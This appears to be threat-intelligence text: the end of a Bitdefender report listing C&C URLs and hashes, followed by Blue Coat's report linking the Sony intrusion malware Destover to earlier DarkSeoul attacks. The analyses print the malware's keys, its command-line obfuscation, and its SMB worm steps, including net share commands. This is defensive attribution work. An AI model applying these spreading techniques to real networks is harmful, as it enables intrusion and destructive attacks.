fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php 77-ufo.com/wp-includes/class-menu.php 77-ufo.com/pma/db_table.php scientific.otzo.com/rss.php [23] White Paper SHA1 hashes of all known variants [24] 0641f22e1b4e15cc23660b2e8bbf42623e997dfb c4b06021c6c925c837dab3ba42c6b76eb77ad30b 0af1a6d6c487e78aa252ae2f5921606a8a379206 c5166d1a574bc5e374490846f2584f94f755d90b 100241519698bb013f668ff49d3d0d4fdab6a584 c9b1208be2aa2c5cfbcbfcb9b1a45c36854414b8 14014f810a0c07b6dde48b7a8954b56c409ae7f3 ce234ed0899c8f97e3f2085215b842723a773368 16c6d317fd7c361623c62cf5652a6b7937f58e0a d80d5ccb9d37d971a408d3c91f803e40b8421a2c 22c565e2cfb8adadd022b0ec281bb2b6ed62dca2 d83d7de186fa6c7abe4676eb568ba4dc62a7c931 23ce92fd1d4d2d42389a66869434fb578aa3f539 e20b0f03f6708118bca9f408b156b210ba083b54 261a8fc8e0e396298120a7bc15c32a37f3ce5b94 eacadedc31af04ef86470aec62ad3eccc9a35332 2a9c8639215faf08593f17b930f83757324dfbee eb0f02e36e77221366becabc60e78dd43368ab9d 2ad7262ad52320399aa54cd8482c30e7a480bebc eb1b83825ff28de7f13812bfce273ad7fb1994fb 2eb5a075b710155c409e727e7f74fdc3be63b58c ede8ec9f3efeb515859becd1f430f82933b42dd9 325b1075b4544ecc2c5741a7a06a9df00f0965da edf96c42f4e1cf43fbaab3f0bbf54280fc8e311d 336d5957909487990033a3432d0347be34db044a eea9fec97dca5d122069adf6dd71628bd6d9c2fd 368b746daf5448812b231aed67bd795dfb5a605d f9af4a51616db485adc577ad600b60e77916cace 38d16c19b54bf2c94e0ad81fca207de062181b31 fbd538cf432f2576b37e2770f860b70b009c3cf3 4880a13c4e1cde0343c233f5e107abf4e3d00664 01e2e16be5828ca03c6b78f253bd962bfaa5ccbf 49f0569886e5e6ba4b32b7f118dc35f9e5916dc2 09df1b0abd32791c3b0d5d657cd956f81e2dacb2 4eecebf5c9720c8e85347e0dcf55a844a6d01b08 0a9dd2b71df68ba088d7d868d7e191875755e34c 5374b898dbb618aa84d92f7a3e9d166e9e819960 14b6f2bc2b869d3417619201c7205e240a93d2ef 54ac8caeae8046e01301379602041c74ee527dfc 1ae10d6ec5d33b704c32ef52c3ee9671f4298d5f 5617c1414cb79411c64883ee72d219d52123fa30 1e49924afe56e3c782893118a51256ca5f247fba 583036a7c9b210508c222c7dfdd9b8321feca7df 23d5cc54641f56f554890bbd55d580e5c564e197 58952be65d0ed53490f69f566485c699f246dcc0 26f8d64038439c006f12ec34b035b1dee1c56b31 5a6b14fad221ab65a086b1ee7c97eb63ff38480e 272c42bcdcc88adba1e01e60a931fbe5f5800883 5aaa055fa5eb9a436ca0e643bf2ada268bcd6f33 2a84f90ed23a569defee7b37f4650aca4021a767 5bcc6da122b3aa88c766d80eb7774c2c6e9e25d5 2bf06a003a9bd56d2ed91770966a7aee7d9784b9 623185a651a1962538141d7ffefdc2f2445a9201 321ca51b4c250515bc3075abe735e360a57dee22 66a7642abaf3d05d5ab14e83dfd52eca0c17acc6 33f57151a52666ca055f1dc66ef04e2f9cb09918 67e9e098c2b39b5847f6cd3aa5a3f86917602f5f 3e10fd3e8d4c4a7900e603aee7660c83441d998e 6a2d12adc541c9c5aaa1096d7e59c72c489cdd59 3fbaf98c75992db9db11d29ae20c13b7b0f50470 713855aa5680154324bfcbac638aa1c12681e3c3 443551d822eba6a81b8ac3177e31e210c99934d0 7674f680fd0c24c222c027976c40ffe1e08c6f2e 45c7f3f065cf015289ab17161a1880eb638b508a 7abf407b9a19dd9ee528fa6e5a099ea1c8ba2f98 46f1b8722f8f094015c749599e94a3e44850df0a 80091e1b7b4dd404c83a9c54fda9e6951b2689b1 4f35665e689bea4f116505f81ae2906fd1517128 852dc73ca9e6d92b3da96500d27ab44b7f9a4ea4 547f525f57f3f47222ae3ab253635df936bd355a 85c03c6fa5e3803e55a46f17d6981992181de57b 585550816539b73dfdc3cee80cc60e1cdc1cdb3e 88af035dc34f730c884b5a11c8be666974a1a6eb 5d492ae763bfc227db9eea46e560124128ff925b 88fd1ee6fb78385a1c5e462dd0768bc34b8188a3 5ff776d23e6c6af47619ad2e7333a434b79e19df 8c4dd73cdd48908ddf5039c5a99e719dfd44ff41 621698f821a2bafccad026f9f5d2fe1ac46a39ce 8d40a65a2bca1378eb6e009c1842aa0e45ae289e 66ec04c005d0a1ebc218455915e31d2a2b6dd459 a5359856742d09d1596e5c7fde407856d72046db 686ada60c898782b57ca993141b64f7c7a531c50 a9239572afe4fbdfe077a262c9699eb1d22a9c87 6c68a9df2d710187d067ecb2d0cc04358d570b52 acc2250be782063f268b87bd0f798549c5838b95 6e070e01076a4a92f08924a405f389436003d927 aecf66120861b71c92a2d1f0015fc9228c02ee88 78499e4694f847972576960a04f8177691a7c911 b2700f16e4494ef7eba26b88a800728621adffea 840563929f13ab05e45a8d3fb2d11e70e3cdccca b4afc5e0002201ce052466cba9061018474b1de0 840de34aa767131eb34069e6f936dea3a48c024e b55dac24f646dd5e0ea856d6ed7891ad8c8acdc1 85a6e3a3fcee71ffa2aad90336960132fa8f4c4d b84ef6480d888b560b071e1f97e78f06080dae89 88f473f3d7a7eb2637754a8d0856ab888066ab08 c340534b8eafed85fc6e9950033b0b9e696d5cb0 8f8d7cd742fb843ba8cb16c2b2d6349436049ed8 White Paper 8ffd436182f8d2a7ec0a66c0d6d43f71222f62b5 b719e1d03e860235a68dda4168f29ac4988d25de 92731e4ed149c59a25c233635c55a87a8a22b19f ba29c29a35d15a668ea2ea79d1d4e56c2d67553f 96d9cf7296f02bf4e49c0540fb84981493b61a93 bca5accb9f1d0806f8603cf74ce0ebe9519f5004 9957af2dbfa04bca2a5319a216852ce4f4a17682 be10c837af1f25ee67440f3a33da8c650f5ab54a 9b0effd20ea7239275b6cf1e02280eb67eced701 c34a68c1a2d2beddbbe8ee8bd125cce14d0dc377 a5daecfd57f006acd15486bd544f40e4cdce3801 c3bc94b065449879c25a541d740346e060d9d6fe a753de6b2e6d3d5735fc5e90a879f1ad7e93fb0f c414ba1dd1f281a63e58c60eb1d8cb4ac3c4e7f0 b0b9215e236bb47f5f0a108be97b24d20898d2fc c7accc1c4ceedc756c30ebb2f1ff9f0dbd0255b0 b35b07ad4f42493ecb19f66aba83da8e74c1bb5a c8395601ea301ba083cb530dad7a44c8048eeb77 b4e867893d9d6f8b52de98ab6b41513d61f20472 ca07bbfc5e8c15c4258f92e6e6c328b86b7b19a5 ccf0a302eb264cbb5db726d61ad18ebdc0d3d012 d53eb2a6904d1fb7982bb876916cd3723c3dc9b1 d6d3d9a56513b83db497a8d4701c2ac7270d78eb d7218e80261517badd8090d3a5ba0a1ed21c21a2 d74d8ec530c02b1eb94203de1f641e15a72faf8d e32832e3f0e0b8450e7bdded16c441951b171130 eda30afac2c1fa0ed2c80e8859e2556ea3dfe2ef ee1f5ba06400fa192664f984d71b1a0cdba96d75 f781e603c55558708ac3101d0bfee2c1752693c2 fdb9d026502aa64aa23b1acb96f6d0013ef874b4 [25] White Paper Clean documents opened by droppers Invitation to event organized by the UK embassy in Ashgabat: [26] White Paper Car for sale: [27] White Paper 23rd International Caspian Oil & Gas Conference Presentation for a real conference that took place on 1-4 June 2016 in Azerbaijan, Baku. Picture and text are taken from official page of conference organizers. [28] White Paper Australia - Korea Foundation, foreign affairs position, interview guidelines Data seems to be taken from Australian Government, Department of Foreign Affairs and Trade. [29] White Paper International politics Text is a Bloomberg news story from October 24th: Bulgaria, Romania and Serbia Ready to Close Borders for Migrants. [30] White Paper Budget plan template This one looks as a budget calculation template taken from Relations internationals et Francophonie of Qu bec. [31] virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/ All Rights Reserved. 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. FOR MORE INFORMATION VISIT: enterprise.bitdefender.com BD-Business-Jun.30.2016-Tk#: 70585 Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in FROM SEOUL TO SONY: THE HISTORY OF THE DARKSEOUL GROUP AND THE SONY INTRUSION MALWARE DESTOVER By Snorre Fagerland, Blue Coat Systems Inc. February 2016 EXECUTIVE SUMMARY The attack on Sony Pictures Entertainment in November 2014 was not a single incident. Through technical indicators, we connect the attack to several destructive events going back to at least 2009. The identity of the perpetrators is unknown, but several of these previous events have been attributed by others to North Korean threat actors. In this report, we show how we have connected these events to the threat actors known as DarkSeoul or Silent Chollima. Whoever they are, this group is still active, mainly going after South Korean targets in several sectors. Malware belonging to this threat complex has apparently been produced as late as January 2016. We detail the evolution of some of the most common tools used by these attackers and present indicators of compromise and mitigation information where we can. In parallel with this report, the security company Novetta is publishing its own independent research covering the same threat complex. This report is available from http://operationblockbuster.com. INTRODUCTION Much has been written about the Sony hack. However, hard data has not been as plentiful. In an attempt to provide additional insight, we detail some facts about the malware reportedly used in the attack, and attempt to draw lines to other malware and incidents, beyond the mere speculative. In order to expand the case, we will look at a variety of evidence. In most cases, we will not settle for one single factor as the basis for assessments, but instead correlate information of different kinds. Factors that we will include are for example: Obfuscation methods Code structure Text strings, such as encryption keys Known localization Digital code signing certificates Details about the different indicators are included in the appendixes. Acknowledgements A big thank you goes out to all who helped with this paper notably Waylon Grange, always an invaluable source of insight and information, and the good folks over at Farsight Security who gracefully provided passive DNS data. MALWARE KNOWN TO BE CONNECTED WITH THE SONY CASE To start at the beginning: The official statements from the FBI (1) and US-CERT (2) mention the md5 hashes of the following set of malware files: d1c27ee7ce18675974edf42d4eea25c6 (dropper) 760c35a80d758f032d02cf4db12d3e55 (wiper) e1864a55d5ccb76af4bf7a0ae16279ba (web server) e904bf93403c0fb08b9683a9e858c73e (backdoor) In the weeks following the attack, a number of other malware instances came to light that were obviously connected; such as 2618dd3e5c59ca851f03df12c0cab3b8 b80aa583591eaf758fd95ab4ea7afe39 6467c6df4ba4526c7f7a7bc950bd47eb (SMB worm) (wiper) (backdoor) Most vendors now use the name Destover for a group of malware that was part of the Sony intrusion. Though many pieces of malware are somewhat different, we ll use that name as well to avoid confusion. The US-CERT advisory also mentions the import hashes of a number of other malware. These are non-unique indicators, but can help in locating related samples. A NOTE ABOUT THE HANGUL WORD PROCESSOR (*.HWP, HWPX) FORMAT The Hangul Word Processor is software developed by the Korean company Hancom. It is similar in usage area to Microsoft Word, but is specifically adapted to the Korean written language Hangul. The file format used by this software is also somewhat similar to Microsoft Word, with the use of OLE2-based documents for previous versions of HWP, and ZIP archive-based documents for newer versions. A number of vulnerabilities have existed for these formats. These have been used maliciously by several different threat actors over time, also by the threat actors mentioned in this paper. MALWARE ARCHEOLOGY As research into this case progressed, it became obvious that we were tracing malware relationships back in time. In fact, the earliest indicators we ve found go all the way back to at least 2009. Around this time a malware development project started that would become the backbone of intrusions and destructive attacks against mainly South Korean targets for years to come. In fact, modern-day malware from the same threat actor still contains traces of this first eo-malware. The initial starting points were likely publicly available source codes for Rbot and Mydoom, found on Chinese code sharing sites like Programmers United Develop Net (PUDN). There is no universally adopted naming for the early generations of this family in the AV industry. Usually they are detected as Dllbot or Npkon, but these names can also cover other families, thus our use of a different name in this paper - KorDllbot. We will cover the evolution of KorDllbots and related malware, and how these came to be involved in various intrusion cases. TIMELINE OF LIKELY DARKSEOUL-RELATED ATTACKS A timeline of destructive intrusions in or related to the Korean peninsula. THE KORDLLBOT BACKDOOR FAMILY KorDllbot is a family of small/medium size trojans that usually are configured to be installed as services. Samples can vary a great deal in functionality - from just listening on a port and accepting commands, to harvesting data, to actively spreading over SMB. This functionality seems almost modular, using different encryption and encoding methods and different C&C command words. Build environment for the early generations was typically Visual Studio 6. KorDllbots use C&C commands starting at different integer offsets depending on version. Here, versions 1.1/1.2/1.5, 1.03, 1.04.2 and 1.05.2 sending success or error status back to remote control client after file deletion. Common capability seen in the KorDllbot family is: - Get bot status - List logical drives - List directory - Change directory - Get process list - Kill process - Execute file - Delete file - Change file time - Execute shell command - Download file - Upload file - Get volume serial number - Get file attributes Most of these trojans use encrypted or encoded C&C communication, but the algorithms vary between versions. A very common trait in these bots is for API s to be dynamically declared through the use of LoadLibrary and GetProcAddress, where the API names are obfuscated, encoded or encrypted in some way, and decoded before they are declared. This is not unique to KorDllbots, but is a fairly static common behavior for this family. Another trait which is peculiar enough to be an identifier in itself is the way this malware creates command line statements. The construction of the command line is deliberately obfuscated by concatenating string segments. Typically, this looks something like this: sprintf(commandline, %sd.e%sc %s >%s 2>&1 xe / , command, logfile_name); //command and tempfile_name are arbitrary strings inserted by the malware. This translates to cmd.exe /c command>logfile_name 2>&1 , i.e execute command and direct output to a log file. This particular construct, with very little deviation, is used in almost all KorDllbots and its successors. We reference this by the name CMXE string obfuscation later on in the paper. The earliest KorDllbot we have has a compile timestamp of July 1st. 2007. This date is however possible to falsify. The earliest verified time KorDllbots were observed was mid-2011, with the executable with the sha256 hash of 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e. This sample listens for connections on port 179 and allows remote access through an encoded proprietary protocol. Already here we can note a connection to the Sony case. Current antivirus detection of this file includes the names Destover and Escad, names introduced by AV vendors in connection with the Sony attack. It has a compile date (May 17th 2011) and import hash that matches data from the US-CERT advisory (2). This malware contains a very noticeable API string obfuscation algorithm where API strings have been broken up into segments of varying size using either spaces or dots as filler. This is presumably done to avoid detection by anti-malware solutions or YARA rules. We have called this technique Chopstring, just to have a reference later on. ChopString is used by many KorDllbots, and also shows up elsewhere in the Sony intrusion case. Chopstring ed strings inside malware. As far as we know, this exact method is not in widespread use in the underground or shared between threat actors. These APIs are reconstructed before use by calling special string-deobfuscation functions early in the execution of the program. For details about this and other algorithms, see the Appendix. However, there is another interesting trait of this particular sample, and that is its digital signature. THE MicrosoftCodeSigningPCA CERTIFICATE CLUSTER The KorDllbot sample 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e is digitally signed using a non-original (and thus non-validating) Microsoft certificate. The file is in reality self-signed. This signature doesn t say much about who made it. However, the way the certificate is constructed is peculiar. The faked issuer in this case is Microsoft Code Signing PCA. The real Microsoft Code Signing PCA is one of the certificate authorities used by Microsoft to sign their software. The Subject - i.e. the entity the certificate is supposed to have been issued to - is also Microsoft Code Signing PCA. This is a construct never seen in legitimate certifications, and it is rare enough in faked certificates that it worthwhile checking other malware signed in this way. Blue Coat maintains a database of code signing certificates which we can mine for this type of information. We found several certificate serial numbers matching this pattern. Each serial number identifies a certificate used to sign a small number of malware samples typically on the range of one to four samples, with one outlier at eight samples. The malware can be clustered into a few main buckets. Some malwares of different families are signed by the same certificate, which creates a high-confidence link between them. This collection of signed malware is dominated by KorDllbots. These are not all identical, there is considerable variation between generations in functionality, encoding and encryption methods, but the similarities in overall structure; string usage etc. is quite unmistakable. (See appendix for a full list of executables with this type of signature.) Other samples include keyloggers, SMB worms, Yahoo Messenger-communicating backdoor trojans and the legitimate ProxyMini lightweight proxy server. KORDLLBOT-RELATED SMB WORMS The malware samples 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d and e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d in the cluster of signed malware do not look like KorDllbots at first glance. The usual service DLL dropper is here replaced with a worm component. After installation and reboot, this worm generates random IP addresses and attempts to connect to the admin$ share on remote machines using the hard coded usernames administrator and db2admin . The malware contains a list of common passwords and it will also construct passwords based on the username. If successful, the worm copies itself to the remote machine system directory and installs it as a service there. In addition to spreading, these samples drop a backdoor component which is somewhat different in structure to the standard KorDllbots. The dropper code logic used in these worms is however used in other KorDllbot dropper samples and is unmistakable - the strings DGTSIGN and www.goog1e.cn are markers which the malware uses to locate its embedded content. 9bc8fe605a4ad852894801271efd771da688d707b 9fbe208106917a0796bbfdc This is a KorDllbot dropper e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c 2ed4fcbfdd16b4dd1c18d4d This is an SMB worm THE JOANAP/BRAMBUL WORM FAMILY Speaking of SMB worms, a group of malware signed using the MicrosoftCodeSigningPCA pattern were a series of SMB worms that had not appeared on our radar before. The variant we found first was named Joanap by several antivirus vendors; presumably because of name appearing in the TO: field of callback emails from the malware Joana. The malware comes as a dropper which installs three sub-components one SMB spreading DLL (wmmvsvc.dll), one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax). The spreader component generates random IP addresses and attempts to copy the dropper and the config file to these over SMB. If successful, the worm sends an email back to its creator via Google s SMTP server. The backdoor component is essentially a KorDllbot. Not only is there code overlap with this family, but it also creates its API decryption AES key based on the same string ( Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion as previously mentioned KorDllbots, eg. sha256 a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f. Recently, Symantec published information (3) that links these worms to the Duuzer malware family. As we shall see later on, this is just another connection to our threat actors. We were able to locate several variants of Joanap-like malware using different email addresses and containing different functionality. The earliest of these were apparently compiled as early as January 2009, with verified occurrences of a newer variant late same year. See appendix for more details. The latest versions of Joanap we found appear to be the type of SMB worm observed in connection with the Sony attack, something also PriceWaterhouseCoopers has mentioned in a blog post (4). THE DOZER (AKA 7.7 DDOS) ATTACK The Dozer attack in July 2009 was one of the first attacks on South Korean targets that received international attention. DDOS bots were distributed with lists of sites to attack notably various Korean websites covering government and bank functions, but also a great deal of US .gov, .mil and .com sites including whitehouse.gov. This also involved wiping of hard disks of the infected computers. There is a known set of malware (7) connected with this incident. Some of these samples appear to have been written specifically for the Dozer attack. However, the sample with the sha256 hash 7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643 shares code with KorDllbots, as can be seen in the function below, which does network receipt with xor decoding. KorDllbot (0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6) vs Dozer (7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643). The function is identical. This is just one out of several such functions in the sample. We can say with reasonable confidence that the threat actors behind the Dozer attack also were involved in the creation of the KorDllbot family or have had access to the source code. THE KOREDOS (AKA 3.4 DDOS) ATTACK Over a few days in the beginning of March 2011, different South Korean organizations were targets of a DDOS attack. The malware launching this attack also contained very destructive components that wiped and deleted files of certain extensions after some time, as well as overwriting the Master Boot Record (MBR) of all physical hard drives. Good write-ups of this incident have been published by McAfee (8) and several others. Some known Koredos malware samples (eg. sha256 48dee93aa3ea847da119f5104e8f96070b03f1d52c46f39dc345f0102bf38836) use the same RC4 file decryption key A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%! - as malware in the MicrosoftCodeSigningPCA signed KorDllbot cluster mentioned previously (eg. sha256 a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f). The RC4 implementation used is identical. The very same KorDllbot also contains an AES key Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion which is used by several Joanap malware samples. We can say with reasonable confidence that the threat actors behind the Koredos attack, like in the Dozer attack, have been involved in the creation of the KorDllbot family. Symantec reported another malware to be involved along with the Koredos malware - the stealthy backdoor Prioxer (9). Prioxer made a return in connection with the DarkSeoul (often known as Jokra) attacks in 2013. This relationship has been covered by in studies by both Symantec (10) and McAfee (5). THE JOONGANG ILBO ATTACK In 2012, the conservative daily newspaper Joongang llbo was subject to a disk wiping attack (11). Not much technical data is in the public domain about this incident. However, a Korean researcher links this attack to the Sony attack, based on code similarities (12). We have no reason to doubt this assessment. THE DARKSEOUL (AKA 3.20 OR JOKRA) ATTACK DarkSeoul was a debilitating and destructive attack in March 2013 that affected several Korean banks and news organizations. It may be the most well-known of all the Korean wiper attacks. The incident has been extensively researched by several vendors; notably the mentioned Operation Troy paper (5) by McAfee covered a good deal of the malware involved. The main malware family connected with that attack an IRC controlled bot was a programming project that had been ongoing for years before being employed in the DarkSeoul attack. The earliest sample we have of this family (known as XwDoor or Keydoor) was apparently compiled in January 2009. This family is quite easy to spot, as there are a number of strings that appear consistently re-used. The intrusion also involved a backdoor family named Prioxer. There was no obvious connection to the KorDllbot/Destover complex until Symantec tied the Prioxer malware back to the 2011 Koredos incident (10). THE KORHIGH MALWARE The Korhigh malware was identified around June 25 2013 in connection with investigations into other attacks on South Korean targets (13). This date coincided with the 63 anniversary for the start of the Korean War. It had a destructive component, capable of deleting files and overwriting the Master Boot Record (MBR) of hard drives. The malware was apparently created by a group calling itself High Anonymous. The following image was contained as a resource in one of the executables: There are strong similarities between the Sony malware and the malware used in the Korhigh campaign. These similarities have been reported by Korean researchers (13), but have gone largely unnoticed in the West. Comparing 4d4b17ddbcf4ce397f76cf0a2e230c9d513b23065f746a5ee2de74f447be39b9 from the Sony attack with 5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9 from the Korhigh attack we see code reuse. Specifically, the code used for spreading over the network is almost identical. The technique used by both goes as follows: 1. Scan for computers that have ports 139 and 443 open 2. Test the remote login credentials by attempting to access the admin$ share 3. If successful, create a remote service with the name RasMgrp and description RasSecruity 4. Use the commands cmd.exe /q /c net share shared$=%SystemRoot% and cmd.exe /q /c net share shared$=%SystemRoot% /GRANT:everyone,FULL to create a shared$ share. 5. Copy itself over to the share 6. Match the new file s timestamp to that of the local calc.exe 7. Delete the share using the same service name, this time with the command cmd.exe /q /c net share shared$ /delete Even the filenames used when copying itself over the share are similar: Destover filenames Korhigh filenames recdiscm32.exe recdiscm.exe taskhosts64.exe taskhosts.exe taskchg16.exe taskchg.exe rdpshellex32.exe rdpshellex.exe mobsynclm64.exe mobsynclm.exe comon32.exe comon32.exe diskpartmg16.exe diskpartmg.exe dpnsvr16.exe dpnsvr32.exe expandmn32.exe expandmn.exe hwrcompsvc64.exe hwrcompsvc.exe File timestamp matching function comparison There is little doubt that parts of the same codebase has been used in both of these attacks. In the Sony incident, several malware samples contained information that seemed to indicate foreknowledge about the layout of the targeted networks. This included local hostnames, usernames and even passwords. This was also the case in the Korhigh attack. At least two samples (5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9, d6a07b7ecd5ae7e948cce032603558a5d21100ba5f04056c72aec1ab2d36956e) came with pre-defined configurations containing domain, hostname, username and password combinations. Though we have no hard data to confirm this, it could mean that Korhigh was part of an actual intrusion at the time. Part of a config resource showing network information. NOV 2014: SONY ATTACK DESTOVER BACKDOOR SAMPLES ARE BASED ON KORDLLBOT The Destover lightweight backdoor (sha256 4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c) mentioned in official statements related to the Sony intrusion is a digitally signed file. There is also an almost identical unsigned file in existence with the sha256 eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55. This unsigned file is the original. It was established that the signed file was created as a joke by a researcher (4). We were able to locate more malware samples similar to this backdoor. Many of these were created in a timeframe well before the Sony intrusion came to light. Some also match the import hash indicators mentioned in the US-CERT advisory, though import hashes are non-unique indicators and cannot always be relied upon. Closer investigation reveals that this Destover sample is indeed derived from the same source base as KorDllbot. This is based on the following indicators: The Chopstring API string obfuscation The CMXE command line construction Same way of declaring API Similarities with later samples, such as: o A printf MessageThread statement in the beginning of the command handling function (similar to Destover MessageThread samples) o Use of the XOR-A7 encoding to decode strings (similar to Destover b076e058 samples) Throughout 2014 and 2015 and still ongoing in 2016, Destover-related backdoors have continued to be used in various campaigns. They share many common traits, but there are also clear differences in functionality, hinting at a common source repository but where customization is added as needed. Some subfamilies have received their own variant names i.e. Volgmer and Duuzer while others have no separate moniker. See appendix for detailed descriptions of variants. OTHER POSSIBLY RELATED MALWARE ACTIVITY A number of incidents and malware systems have been attributed to either the DarkSeoul group or North Korean threat actors. This chapter will quickly go through some of these. THE CASTOV AND CASTDOS CAMPAIGNS (AKA 6.25 DDOS ATTACKS) The Castov campaign mainly targeted South Korean financial corporations and was discovered in May 2013 (16). Notably, these malwares included code to steal banking credentials. Some were designed to perform DDOS attacks on Korean government servers on June 25 , 2013 (16) (12) the same date that the destructive Korhigh malware was also uncovered - though we have no information as to whether these cases were connected. On the face of it, there is little to directly connect the Castov malware with the DarkSeoul/Destover complex, as the codebase is largely different. For example, the initial downloader was a crimeware known as Tijcont, distributed by the Gongda exploit kit. The downloaded banking malware was written in Delphi, uncommon for DarkSeoul projects. However, Symantec states clearly in their blog post that they attribute Castov to the DarkSeoul group. THE KIMSUKY SYSTEM The Kimsuky malware complex was originally detailed in a report from Kaspersky (14) in 2013 and has been an active component of the South Korean threat landscape since then. Ahnlab reported a new campaign in Feb 2014 (15), and an intrusion attempt into South Korean nuclear facilities in Dec 2014 was also identified to involve Kimsuky (16). The Kimsuky malware is different in structure from the Destover complex. It uses different encoding schemes and algorithms than Destover, and email and FTP is used for C&C communication and exfiltration. Similar to Destover, Kimsuky has used HWP exploits as infection vector. A number of samples rely on vulnerabilities in the old OLE2-based HWP file format. However, they have not, as far as we have seen, used the recent CVE-2015-6585 HWPX vulnerability which has been used to plant at least three variants of Destover. There are some similarities in modus operandi, such as Encoded API usage. Frequent code hand-modifications between samples Malware installed as services Taunting the victim in public fora Posing as hacktivist groups (17) Publication of stolen data (17) Based on the available data we cannot say that the Kimsuky-based campaigns are connected to the DarkSeoul group. THE BLACKMINE SYSTEM Blackmine is a South Korean focused malware campaign detailed by Ahnlab (18). The payload malware in question is a data harvester and uploader, which also allows for download of more malware. In the same way as Kimsuky, there are some similar approaches with Destover the usage of obfuscated API names for example but also enough differences to say that Blackmine probably has not originated from the same codebase. Ahnlab does however state that they see these groups as possibly correlated. CONCLUSION The attack on Sony Pictures Entertainment incorporated the use of malware which contained a number of commonalities with malware used in previously known attacks. These previous attacks were mainly focused against South Korean entities such as financial institutions, government sites, think tanks and other important functions. Targets outside South Korea have also been affected, albeit to a lesser extent: Apart from the Sony intrusion, the Dozer DDOS attacks of 2009 were also directed towards US websites. The amount of common factors between the different incidents makes it in our opinion very likely that these incidents are perpetrated by the same group, or at least cooperating groups. In this paper, we are not commenting on geographical attribution for the Sony attack. We note that a number of the mentioned previous attacks (Dozer (15), Koredos, Korhigh (16), DarkSeoul (17)) have been associated with North Korean involvement, but these associations have not been examined or validated by us. It is worth noting that this threat actor is still active. We have seen Destover-samples compiled as recently as January 2016. DarkSeoul should be considered a constant risk factor, particularly for South Korean institutions. The Destover malware family seems to be the information gathering workhorse of this group adapted and changed to fit the purpose du jour, but retaining a lot of the same overall design and methodology. For specific targets more customized malware is often deployed. Command and control connections are almost always going to raw IP addresses, and different malware generations tend to use different sets of addresses. It is our assumption that most of these IP s are compromised computers which probably are running proxies, and as such are easily disposable. 2016 Blue Coat Systems, Inc. All rights reserved. Blue Coat, the Blue Coat logos, ProxySG, PacketShaper, CacheFlow, IntelligenceCenter, CacheOS, CachePulse, Crossbeam, K9, the K9 logo, DRTR, MACH5, PacketWise, PolicyCenter, ProxyAV, ProxyClient, SGOS, WebPulse, Solera Networks, the Solera Networks logos, DeepSee, See Everything. Know Everything. Security Empowers Business , and BlueTouch are registered trademarks or trademarks of Blue Coat Systems, Inc. or its affiliates in the U.S. and certain other countries. This list may not be complete, and the absence of a trademark from this list does not mean it is not a trademark of Blue Coat or that Blue Coat has stopped using the trademark. All other trademarks mentioned in this document owned by third parties are the property of their respective owners. This document is for informational purposes only. Blue Coat makes no WORKS CITED 1. FBI. FBI Liaison Alert System #A-000044-mw. [Online] https://publicintelligence.net/fbi-korean-malware/. 2. US-CERT. Alert (TA14-353A) Targeted Destructive Malware. [Online] https://www.us-cert.gov/ncas/alerts/TA14353A. 3. Symantec. Duuzer back door Trojan targets South Korea to take over computers. [Online] http://www.symantec.com/connect/blogs/duuzer-back-door-trojan-targets-south-korea-take-over-computers. 4. Ullrich, Johannes B. Malware Signed With Valid SONY Certificate. [Online] https://isc.sans.edu/forums/diary/Malware+Signed+With+Valid+SONY+Certificate+Update+This+was+a+Joke/1904 5. Sherstobitoff , Ryan, Liba, Itai and Walter, James. Dissecting Operation Troy: Cyberespionage in South Korea. [Online] http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf. 6. Jiang, Genwei and Kimble, Josiah. Hangul Word Processor (HWP) Zero-Day. [Online] https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf. 7. SecureSoft. 7.7 DDoS . [Online] https://www.securesoft.co.jp/news_mt/docs/7.7DDOS_2.pdf. 8. McAfee, Inc. Ten Days of Rain. [Online] http://www.mcafee.com/us/resources/white-papers/wp-10-days-ofrain.pdf. 9. Lelli, Andrea. Backdoor.Prioxer!inf: Accidentally the Stealthiest File Infector Ever! [Online] http://www.symantec.com/connect/blogs/backdoorprioxerinf-accidentally-stealthiest-file-infector-ever. 10. Symantec. Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War. [Online] http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-koreacontinue-anniversary-korean-war. 11. Korea Joongang Daily. JoongAng hit by major cyberattack. [Online] http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2954219. 12. Kwaak, Jeyup S. Sony Hack Mirrors Attack on South Korean Newspaper, Researcher Says. [Online] http://blogs.wsj.com/korearealtime/2014/12/19/sony-hack-mirrors-attack-on-south-korean-newspaperresearcher-says/. 13. Boannews. vs. 6.25 . [Online] http://www.boannews.com/media/view.asp?idx=44451. 14. Tarakanov, Dmitry. The Kimsuky 